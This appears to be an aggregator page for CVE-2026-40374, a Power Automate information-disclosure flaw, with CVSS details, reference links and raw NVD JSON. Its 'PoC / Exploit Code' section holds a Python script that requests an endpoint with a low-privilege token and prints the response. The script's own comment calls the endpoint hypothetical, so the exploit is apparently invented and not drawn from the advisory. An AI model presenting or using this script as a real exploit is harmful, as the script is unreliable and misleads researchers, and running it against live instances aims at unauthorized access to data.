CVE-2026-40374

Description

Exposure of sensitive information to an unauthorized actor in Power Automate allows an authorized attacker to disclose information over a network.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Microsoft Power Automate (具体受影响版本未在提供信息中详细列出，请参考官方通告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-40374 PoC for Power Automate Information Disclosure
# Target: Power Automate API Endpoints
# Description: Exploits low-privilege access to disclose sensitive flow information.

def check_cve(target_url, access_token):
    headers = {
        "Authorization": f"Bearer {access_token}",
        "Content-Type": "application/json"
    }
    
    # Hypothetical endpoint vulnerable to IDOR/Info Disclosure
    vulnerable_endpoint = f"{target_url}/api/v1/flows/management/sensitive_details"
    
    try:
        response = requests.get(vulnerable_endpoint, headers=headers, timeout=10)
        
        if response.status_code == 200:
            print("[+] Vulnerability Confirmed!")
            print("[+] Sensitive Information Leaked:")
            print(response.text)
        else:
            print(f"[-] Status Code: {response.status_code}")
            print("[-] Vulnerability not exploited or target patched.")
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Connection Error: {e}")

if __name__ == "__main__":
    # Replace with actual target and valid low-privilege token
    TARGET = "https://<power-automate-instance>"
    TOKEN = "<LOW_PRIVILEGE_TOKEN>"
    check_cve(TARGET, TOKEN)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40374
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40374
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40374/
[4] VulDB https://vuldb.com/cve/CVE-2026-40374
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40374

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40374", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:16.347", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of sensitive information to an unauthorized actor in Power Automate allows an authorized attacker to disclose information over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40374", "source": "[email protected]"}]}}